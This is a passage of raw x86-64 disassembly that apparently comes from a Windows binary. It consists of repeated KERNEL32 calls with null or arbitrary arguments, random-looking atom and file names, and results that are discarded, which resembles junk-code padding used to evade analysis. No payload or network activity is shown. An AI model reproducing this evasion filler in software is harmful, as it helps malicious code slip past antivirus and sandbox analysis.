mov rax, qword [rsp + 0xb470]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9588]
mov qword [rsp + 0xb590], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb590]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14022fbd0], eax
lea rcx, str.AipBcd_MqL.CkLx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14bc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0xb3e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf80]
or eax, ecx
mov word [rsp + 0xfa4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0x1a93
mov r9d, 0x27f7
mov r8d, 0x3d14
mov edx, 0x3fba
mov rcx, qword [rsp + 0x9d60]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0x9a48]
mov rax, qword [rax]
mov qword [rsp + 0xb598], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
mov rax, qword [rsp + 0xa598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac50]
mov qword [rsp + 0xb5a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9888], rax
mov r9d, 0x72f
xor r8d, r8d
lea rdx, [rsp + 0xaa18]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ea4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xac60]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4478]
mov dword [rsp + 0x4a5c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb5a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x2d1], al
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov r9d, 0x1221
xor r8d, r8d
lea rdx, [rsp + 0x9ba8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0xab30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x91c]
and eax, ecx
mov rcx, qword [rsp + 0xa308]
mov word [rcx], ax
lea rdx, [rsp + 0x9a58]
mov rcx, qword [rsp + 0xaf18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4924], eax
lea rcx, str.gSRpt_YynH1_R0l
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1404], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.3r9BSgwj3FZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb5b0], rax
mov rcx, qword [rsp + 0xa978]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x47d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4238], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x214]
movzx ecx, byte [rsp + 0x2a6]
sub eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
and eax, ecx
mov word [0x14024f2b8], ax
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xa420]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, str.lj1r_Np0rUy7_VAmY35
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14c0], ax
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x137c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0xa210]
mov qword [rsp + 0xb5b8], rax
mov r9d, 1
lea r8, [rsp + 0x9808]
mov rdx, qword [rsp + 0x9760]
mov rcx, qword [rsp + 0xb2a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4eac], eax
mov rax, qword [rsp + 0x85c8]
mov rcx, qword [rsp + 0xb350]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa350], rax
mov edx, 0x1eac
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d0c], eax
movzx eax, word [rsp + 0x131c]
movzx ecx, word [rsp + 0x10bc]
sub eax, ecx
mov word [rsp + 0x980], ax
lea rax, [0x14022fb68]
mov qword [rsp + 0xb5c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb5c8], rax
mov r9d, 2
lea r8, [rsp + 0xa678]
mov rdx, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0xb150]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cec], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.3DOjVVUimvdODd0uHPFh7L
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb5d0], rax
lea rcx, [rsp + 0x9c28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x130c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1350], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb5d8], rax
mov r9d, 1
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e78], eax
movsx eax, byte [rsp + 0x2b6]
mov rcx, qword [rsp + 0xb248]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x27b], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0xa3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x89d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa460]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b10], eax
movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0xa920]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa208]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x9fc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb4b0]
mov qword [rsp + 0xb5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5e0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
lea rax, [rsp + 0x11c4]
mov qword [0x14024f0d0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb5e8], rax
movzx ecx, word [rsp + 0x1234]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13d4], ax
mov eax, dword [0x14024f260]
mov dword [rsp + 0x4eb0], eax
lea rdx, [rsp + 0xb5f0]
mov rcx, qword [rsp + 0xb2d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e84], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rdx, [rsp + 0xb5f8]
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cb0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor r9d, r9d
lea r8, [rsp + 0x9c90]
mov rdx, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0xb410]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e68], eax
lea rcx, str.XEHAqIY_Utf_EYQrkrK9r2ksfB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28f]
or eax, ecx
mov byte [rsp + 0x1a3], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x2d2], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0xae30]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0x4a80]
mov rcx, qword [rsp + 0xa738]
mov qword [rsp + 0xb600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb600]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xa0f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb608], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb4c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb610], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb220], rax
movzx ecx, word [rsp + 0x12fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14c8], ax
lea rax, [rsp + 0x27b]
mov qword [rsp + 0xb618], rax
lea rdx, [rsp + 0xa610]
mov rcx, qword [rsp + 0xaf38]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49b8], eax
movzx eax, word [0x14024f300]
mov rcx, qword [rsp + 0x99b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfb8], ax
mov r9d, 0x677
xor r8d, r8d
lea rdx, [rsp + 0x8d20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4eb4], eax
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0xb620], rax
mov r9d, 1
lea r8, [rsp + 0xa178]
mov rdx, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d40], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xb4b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f260], eax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [0x14024f3c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8960], rax
mov r9d, 0x427
xor r8d, r8d
lea rdx, [rsp + 0x9a98]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0xa2b8]
mov rcx, qword [rsp + 0x88e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa958], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rdx, [rsp + 0xb290]
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b74], eax
lea rcx, str.3K4HJ_S6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14cc], ax
lea rdx, [rsp + 0xa9f8]
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c08], eax
mov rax, qword [rsp + 0xaa10]
mov rcx, qword [rsp + 0x8ab0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8318], rax
mov rcx, qword [rsp + 0xb4f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ebc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe34]
imul eax, ecx
mov word [rsp + 0xe9c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb4c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9708]
mov rax, qword [rax]
mov qword [rsp + 0xb628], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x21540]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e80], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
and eax, ecx
mov rcx, qword [rsp + 0xa308]
mov word [rcx], ax
lea rcx, [rsp + 0x9908]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.PvGbdIq91UhQHMEHaCOGq34SJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb630], rax
mov edx, 0x257b
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b2c], eax
lea rax, [rsp + 0x3dd0]
mov qword [rsp + 0xb638], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b64], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movsx eax, byte [rsp + 0xd8]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov byte [rcx], al
mov r9d, 0x683
xor r8d, r8d
lea rdx, [rsp + 0x9fe8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14d0], ax
lea rcx, [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
mov dword [rsp + 0x20], 0xa90
mov r9d, 0x621
mov r8d, 0x1abb
mov edx, 0x1956
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4ec0], eax
mov eax, dword [rsp + 0x48a4]
mov ecx, dword [rsp + 0x4a40]
add ecx, eax
mov eax, ecx
mov dword [0x14024f248], eax
movzx ecx, word [rsp + 0x113c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b8], ax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x114c], ax
lea rcx, [rsp + 0xb640]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x2c6]
movzx ecx, byte [rsp + 0x2cc]
add eax, ecx
mov rcx, qword [rsp + 0xac98]
mov byte [rcx], al
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b94], eax
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [rsp + 0xf0c]
add eax, ecx
mov word [rsp + 0xdf8], ax
mov rax, qword [rsp + 0xaa70]
mov ecx, dword [rsp + 0x4de4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4b60], eax
lea rax, [rsp + 0x280]
mov qword [rsp + 0xb648], rax
mov r9d, 0x162a
xor r8d, r8d
lea rdx, [rsp + 0xb260]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4938], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb650], rax
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xab10]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea rcx, [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [rsp + 0x4988]
movzx ecx, al
mov eax, dword [rsp + 0x41f0]
shl eax, cl
mov rcx, qword [rsp + 0x9e28]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x283]
mov byte [rsp + 0x2d3], al
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0xa1b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb270], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0x218a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4704], eax
lea rcx, [rsp + 0xb658]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
mov byte [0x14024f0ca], al
mov dword [rsp + 0x20], 0x1a93
mov r9d, 0x27f7
mov r8d, 0x3d14
mov edx, 0x3fba
mov rcx, qword [rsp + 0x9d60]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4d3c], eax
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ec8], eax
mov edx, 0x1ddc
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ab4], eax
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
mov dword [rsp + 0x4ecc], eax
movzx eax, word [rsp + 0x12c0]
movzx ecx, word [0x14024f268]
and eax, ecx
mov word [rsp + 0x1390], ax
mov rax, qword [rsp + 0xb468]
imul rax, qword [rsp + 0x89d8]
mov qword [rsp + 0x9e68], rax
lea rcx, [rsp + 0xae10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0xa350]
mov qword [rsp + 0xb660], rax
movsx eax, word [rsp + 0x8c4]
movsx ecx, word [0x14024f3be]
add eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1054]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14d4], ax
lea rax, [rsp + 0x27b]
mov qword [rsp + 0xb668], rax
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 0x1bae
xor r8d, r8d
lea rdx, [rsp + 0x9d20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xadc0]
mov rcx, qword [rsp + 0xac60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44d8], eax
mov edx, 0x1cb2
mov rcx, qword [rsp + 0xa828]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ed0], eax
lea rcx, str.EYr_Pm2Cb91_z9i8aq_Rsr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13bc], ax
lea rax, [rsp + 0x1138]
mov qword [rsp + 0xb670], rax
mov dword [rsp + 0x20], 0x3e0a
mov r9d, 0xe1
mov r8d, 0x4d8
mov edx, 0x3571
mov rcx, qword [rsp + 0x96d8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4d10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1264]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14c4], ax
mov dword [rsp + 0x20], 0x7c
mov r9d, 0x3b8e
mov r8d, 0xacc
mov edx, 0x3cae
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4e9c], eax
movzx eax, byte [0x14024f184]
movzx ecx, byte [rsp + 0x297]
add eax, ecx
mov byte [0x140221338], al
lea rcx, str.Am6kwW1q.fo_GoAfxpi_PmQu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14d8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x9c80]
mov rcx, qword [rsp + 0xa780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov rcx, qword [0x14022fb60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa000], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1018]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0x9868]
mov rcx, qword [rsp + 0x8328]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x8498], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xa898]
movzx eax, byte [rax]
movzx ecx, byte [0x140221339]
and eax, ecx
mov byte [rsp + 0x1eb], al
lea rdx, [rsp + 0xa710]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bd8], eax
mov eax, dword [rsp + 0x4898]
mov dword [rsp + 0x4ed4], eax
lea rcx, [rsp + 0x1abb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x25b]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2c0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1434], ax
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x138c]
sub eax, ecx
mov word [rsp + 0xd4c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb678], rax
mov rax, qword [rsp + 0x9c58]
mov ecx, dword [rsp + 0x42f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ef8], eax
movzx ecx, word [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1064], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, str.XU3Dj_q_RunJu2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14e0], ax
mov rax, qword [rsp + 0xb0c0]
movzx eax, word [rax]
mov word [0x14024f0c8], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x21c00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4974], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov edx, 0xb11
mov rcx, qword [rsp + 0x9f90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8470]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb430]
mov qword [rsp + 0xb680], rax
xor r9d, r9d
lea r8, [rsp + 0xa358]
mov rdx, qword [rsp + 0xabe8]
mov rcx, qword [rsp + 0xa4e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cf4], eax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
sar eax, cl
mov rcx, qword [rsp + 0xab18]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x23b0
mov r9d, 0x35ae
mov r8d, 0x2b88
mov edx, 0x3cf2
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4edc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
